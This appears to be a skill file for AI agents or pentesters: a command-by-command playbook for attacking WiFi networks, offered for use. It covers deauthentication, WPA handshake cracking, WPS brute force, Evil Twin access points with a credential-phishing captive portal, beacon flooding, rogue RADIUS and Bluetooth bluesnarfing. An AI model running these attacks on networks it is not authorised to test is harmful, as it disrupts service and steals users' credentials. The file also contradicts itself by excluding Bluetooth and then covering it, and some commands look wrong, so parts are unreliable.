attacking-wireless-networks

name	attacking-wireless-networks
description	Attack WiFi networks using WPA/WPA2 cracking, WPS exploitation, Evil Twin attacks, deauthentication, and wireless reconnaissance. Use when pentesting wireless networks or performing WiFi security assessments.
verified	2026-07-27T00:00:00.000Z

Attacking Wireless Networks

When to Use

• WiFi penetration testing
• Wireless network security assessment
• WPA/WPA2/WPA3 cracking
• Evil Twin and rogue AP attacks
• Wireless reconnaissance

When NOT to Use

• Wired network attacks — use enumerating-network-services
• Cracking the captured handshake — use cracking-passwords
• Bluetooth (Classic/BLE) or NFC — not covered by the installed skills; GATT enumeration, card cloning, and RF sniffing need dedicated tooling. This skill is Wi-Fi only
• Zigbee or general SDR work beyond Wi-Fi — outside this skill's scope
• Post-access network exploitation — move to performing-reconnaissance once you are on the network

Setup and Tools

Enable Monitor Mode:

# Check wireless interface
iwconfig
iw dev

# Enable monitor mode
airmon-ng start wlan0
# Creates wlan0mon

# Or manually
ip link set wlan0 down
iw wlan0 set monitor none
ip link set wlan0 up

# Disable interfering processes
airmon-ng check kill

Essential Tools:

• aircrack-ng suite
• Wireshark
• Kismet
• Reaver/Bully (WPS)
• Wifite (automated)
• hcxtools/hcxdumptool
• Fluxion (Evil Twin)

WiFi Reconnaissance

Network Discovery:

# Scan for networks
airodump-ng wlan0mon

# Scan specific channel
airodump-ng -c 6 wlan0mon

# Scan and save to file
airodump-ng -w capture wlan0mon

# Filter by BSSID
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon

Kismet:

# Start Kismet
kismet

# Command line
kismet_server
kismet_client

# View in web UI
http://localhost:2501

WPA/WPA2 Attacks

Capture Handshake

# Method 1: Wait for client connection
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Method 2: Deauth clients to force reconnect
# In another terminal
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Or target specific client
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# Verify handshake captured
aircrack-ng capture-01.cap
# Look for "1 handshake"

Crack Handshake

Aircrack-ng:

# Crack with wordlist
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# With specific ESSID
aircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap

Hashcat:

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture-01.cap

# Crack WPA/WPA2 (mode 22000)
hashcat -m 22000 hash.hc22000 wordlist.txt

# With rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

# Mask attack
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

John the Ripper:

# Convert cap to john format
hccap2john capture-01.cap > hash.john

# Crack
john --wordlist=wordlist.txt hash.john

WPS Attacks

WPS Brute Force (Reaver)

# Check WPS status
wash -i wlan0mon

# Reaver attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# With delay (less aggressive)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5

# Pixie Dust attack (if vulnerable)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K

Bully (Alternative)

# Standard attack
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# Pixie Dust
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon -d

Evil Twin Attacks

Fluxion

# Start Fluxion
./fluxion.sh

# Follow prompts to:
# 1. Select target network
# 2. Capture handshake
# 3. Create fake AP
# 4. Launch captive portal
# 5. Capture credentials

Manual Evil Twin

# Create rogue AP
hostapd rogue_ap.conf

# Sample hostapd.conf:
interface=wlan0mon
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g

# DHCP server
dnsmasq -C dnsmasq.conf

# Sample dnsmasq.conf:
interface=wlan0mon
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8

# Captive portal (fake login page)
# Setup web server with phishing page

WPA3 Attacks

Dragonblood

# Dragonblood toolkit
# Tests WPA3 vulnerabilities (CVE-2019-13377, CVE-2019-13456)

# Dictionary attack (downgrade to WPA2)
# If SAE (WPA3) and WPA2 transition mode enabled

Brute Force SAE

# hashcat WPA3 (experimental)
hashcat -m 22000 hash.hc22000 wordlist.txt

Denial of Service

Deauthentication Attack

# Deauth all clients
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# MDK3 (more aggressive)
mdk3 wlan0mon d -c 6

Beacon Flooding

# MDK3 beacon flood
mdk3 wlan0mon b -f fake_aps.txt

# Create many fake APs
mdk3 wlan0mon b -n "FakeAP" -m -s 1000

Automated Tools

Wifite

# Automated WiFi cracking
wifite

# Target WPA only
wifite --wpa

# Target WPS only
wifite --wps

# Specific BSSID
wifite -b AA:BB:CC:DD:EE:FF

# With custom wordlist
wifite --dict wordlist.txt

WiFi-Pumpkin (Rogue AP Framework)

# Launch WiFi-Pumpkin
wifi-pumpkin

# Features:
# - Rogue AP creation
# - MITM attacks
# - DNS spoofing
# - Captive portal
# - Traffic sniffing

Enterprise WiFi (WPA-Enterprise)

EAP-TLS/PEAP Attacks

# Capture EAP handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon

# Extract RADIUS traffic
tshark -r eap_capture-01.cap -Y "eap"

# Rogue RADIUS server
# hostapd-wpe (Wireless Pwnage Edition)
hostapd-wpe wpe.conf

# Crack captured hashes
asleap -r capture.dump -w wordlist.txt

Packet Injection Testing

# Test injection capability
aireplay-ng --test wlan0mon

# Fake authentication
aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

# ARP replay attack
aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

Hidden SSID Discovery

# Passive monitoring
airodump-ng wlan0mon
# Wait for client probe requests

# Active probing
mdk3 wlan0mon p -t AA:BB:CC:DD:EE:FF

# Deauth and capture beacon
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

Bluetooth Attacks

Discovery

# Scan for devices
hcitool scan

# Detailed info
hcitool info AA:BB:CC:DD:EE:FF

# Service discovery
sdptool browse AA:BB:CC:DD:EE:FF

BluetoothHunting

# Bluesnarfing (file access)
bluesnarfer -b AA:BB:CC:DD:EE:FF

# Bluejacking (send messages)
echo "Message" | bluejack AA:BB:CC:DD:EE:FF

# PIN brute force
crackle -i hci0 -o pin.txt

Quick WiFi Pentest Workflow

1. Monitor Mode - Enable monitor mode on wireless adapter
2. Reconnaissance - Scan for networks (airodump-ng/kismet)
3. Target Selection - Choose network (WPS-enabled for easy win)
4. Handshake Capture - Deauth clients and capture 4-way handshake
5. Cracking - Crack with hashcat/aircrack-ng
6. Post-Exploitation - Connect and perform MITM/sniffing

Common Wins

• WPS-enabled routers - Often crackable in minutes with Reaver
• Weak passwords - Common WiFi passwords in rockyou.txt
• WPA2 Transition Mode - Allows downgrade attacks
• Open guest networks - No authentication required
• Misconfigured Enterprise - Weak RADIUS authentication

Defense Detection

• Wireless IDS (WIDS) may detect:
  • Deauthentication attacks
  • Rogue access points
  • Evil Twin attacks
  • WPS brute force attempts
• Be aware of monitoring and physical security

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

• T1040 Network Sniffing (also Discovery) — see also enumerating-network-services
• T1557 Adversary-in-the-Middle (also Collection) — see also attacking-active-directory

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

• https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-wifi
• https://www.aircrack-ng.org/
• https://github.com/wifiphisher/wifiphisher
• https://www.kali.org/tools/